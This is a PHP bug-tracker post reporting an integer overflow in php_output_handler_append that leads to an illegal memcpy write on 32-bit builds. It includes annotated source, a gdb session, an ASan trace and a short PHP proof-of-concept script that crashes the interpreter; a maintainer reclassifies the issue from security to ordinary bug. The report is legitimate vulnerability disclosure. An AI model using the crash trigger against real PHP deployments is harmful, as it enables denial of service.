Sec Bug->Bug #72595 [Opn]: php_output_handler_append illegal write access
| From: | stas@php.net | Date: | Sun, 17 Jul 2016 20:32:28 +0000 |
| Subject: | Sec Bug->Bug #72595 [Opn]: php_output_handler_append illegal write access | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-202380@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72595&edit=1
ID: 72595
Updated by: stas@php.net
Reported by: fernando at null-life dot com
Summary: php_output_handler_append illegal write access
Status: Open
-Type: Security
+Type: Bug
Package: *General Issues
Operating System: *
PHP Version: 7.0.8
Block user comment: N
Private report: Y
New Comment:
Doesn't look like security issue - requires specially crafted code to trigger.
Previous Comments:
------------------------------------------------------------------------
[2016-07-14 03:08:41] fernando at null-life dot com
Description:
------------
Integer overflow at php_output_handler_append function causes illegal write access
Calling to ob_start function with a big chunk_size value (i.e. PHP_INT_MAX), an integer overflow
happens while trying to realloc the memory buffer. This causes a call to realloc with a new size of
0, the behaviour will depend on the libc implementation, but glibc returns a valid pointer here, and
later an illegal write access trough the memcpy function. This was tested on a 32 bits system.
------------------------------------
Source code https://github.com/php/php-src/blob/master/main/output.c#L880
static inline int php_output_handler_append(php_output_handler *handler, const php_output_buffer
*buf)
{
if (buf->used) {
OG(flags) |= PHP_OUTPUT_WRITTEN;
/* store it away */
if ((handler->buffer.size - handler->buffer.used) <= buf->used) {
size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size);
size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size -
handler->buffer.used));
size_t grow_max = MAX(grow_int, grow_buf);
handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max);
## integer overflow : handler->buffer.size + grow_max = 0 ^
handler->buffer.size += grow_max;
}
memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used);
## illegal write ^
handler->buffer.used += buf->used;
/* chunked buffering */
if (handler->size && (handler->buffer.used >= handler->size)) {
/* store away errors and/or any intermediate output */
return OG(running) ? 1 : 0;
}
}
return 1;
}
GDB output:
gdb -q --args /matatetete/matatetete/php-70/sapi/cli/php -n poc2.php
gdb-peda$ b output.c:890
Breakpoint 2 at 0x938ec71: output.c:890. (4 locations)
gdb-peda$ b output.c:891
Breakpoint 3 at 0x938ed53: output.c:891. (4 locations)
gdb-peda$ r
...
Breakpoint 2, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at
/matatetete/php-src/main/output.c:890
890 handler->buffer.data = erealloc(handler->buffer.data,
handler->buffer.size + grow_max);
gdb-peda$ p *handler
$1 = {
name = 0xf32013b8,
flags = 0x71,
level = 0x0,
size = 0x7fffffff,
buffer = {
data = 0x70e00000 "", ## Before realloc
size = 0x80000000,
used = 0x7fffe000,
free = 0x0,
_reserved = 0x0
},
opaq = 0x0,
dtor = 0x0,
func = {
user = 0xf327a0e0,
internal = 0xf327a0e0
}
}
gdb-peda$ c
...
Breakpoint 3, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at
/matatetete/php-src/main/output.c:891
891 handler->buffer.size += grow_max;
gdb-peda$ p *handler
$2 = {
name = 0xf32013b8,
flags = 0x71,
level = 0x0,
size = 0x7fffffff,
buffer = {
data = 0xf32622a8 "\320\"", <incomplete sequence \363>, ## After
realloc(0)
size = 0x80000000,
used = 0x7fffe000,
free = 0x0,
_reserved = 0x0
},
opaq = 0x0,
dtor = 0x0,
func = {
user = 0xf327a0e0,
internal = 0xf327a0e0
}
}
gdb-peda$ l
886 size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size);
887 size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used -
(handler->buffer.size - handler->buffer.used));
888 size_t grow_max = MAX(grow_int, grow_buf);
889
890 handler->buffer.data = erealloc(handler->buffer.data,
handler->buffer.size + grow_max); ## erealloc(0)
891 handler->buffer.size += grow_max;
892 }
893 memcpy(handler->buffer.data + handler->buffer.used, buf->data,
buf->used);
894 handler->buffer.used += buf->used;
895
gdb-peda$ p handler->buffer.size + grow_max ## Integer overflow
$1 = 0x0
gdb-peda$ p handler->buffer.size
$2 = 0x80000000
gdb-peda$ p grow_max
$3 = 0x80000000
gdb-peda$ b output.c:893
Breakpoint 4 at 0x938e00c: output.c:893. (4 locations)
gdb-peda$ c
...
Breakpoint 4, php_output_handler_append (buf=0xffff7814, buf=0xffff7814, handler=0xf3202300) at
/matatetete/php-src/main/output.c:893
893 memcpy(handler->buffer.data + handler->buffer.used, buf->data,
buf->used);
gdb-peda$ p handler->buffer.data + handler->buffer.used
$3 = 0x732602a8 <error: Cannot access memory at address 0x732602a8> ## Illegal dst
address
gdb-peda$
Test script:
---------------
<?php
ini_set('memory_limit', -1);
function callback_function($buffer) { return 1; }
$fp = fopen("/dev/zero", "r");
ob_start("callback_function", PHP_INT_MAX);
fpassthru($fp);
Expected result:
----------------
No crash / OOM error?
Actual result:
--------------
ASan output:
/matatetete/matatetete/php-70/sapi/cli/php -n poc.php
ASAN:SIGSEGV
=================================================================
==14329==ERROR: AddressSanitizer: SEGV on unknown address 0x72863280 (pc 0xf6d60e0c bp 0xfff72108 sp
0xfff71c98 T0)
#0 0xf6d60e0b (/lib/i386-linux-gnu/libc.so.6+0x126e0b)
#1 0xf72456dd in __asan_memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8a6dd)
#2 0xf7245c2f in memcpy (/usr/lib/i386-linux-gnu/libasan.so.2+0x8ac2f)
#3 0x938e0e3 in memcpy /usr/include/i386-linux-gnu/bits/string3.h:53
#4 0x938e0e3 in php_output_handler_append /matatetete/php-src/main/output.c:893
#5 0x938e0e3 in php_output_handler_op /matatetete/php-src/main/output.c:941
#6 0x938e0e3 in php_output_op /matatetete/php-src/main/output.c:1057
#7 0x938e0e3 in php_output_write /matatetete/php-src/main/output.c:257
#8 0x93b5abb in _php_stream_passthru /matatetete/php-src/main/streams/streams.c:1411
#9 0x901ebc5 in zif_fpassthru /matatetete/php-src/ext/standard/file.c:1464
#10 0x9ac461a in ZEND_DO_ICALL_SPEC_HANDLER /matatetete/php-src/Zend/zend_vm_execute.h:586
#11 0x980eaaf in execute_ex /matatetete/php-src/Zend/zend_vm_execute.h:414
#12 0x9b2a835 in zend_execute /matatetete/php-src/Zend/zend_vm_execute.h:458
#13 0x95e778c in zend_execute_scripts /matatetete/php-src/Zend/zend.c:1427
#14 0x932ea6b in php_execute_script /matatetete/php-src/main/main.c:2494
#15 0x9b33374 in do_cli /matatetete/php-src/sapi/cli/php_cli.c:974
#16 0x80a64d3 in main /matatetete/php-src/sapi/cli/php_cli.c:1344
#17 0xf6c52636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#18 0x80a6aea (/matatetete/matatetete/php-70/sapi/cli/php+0x80a6aea)
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72595&edit=1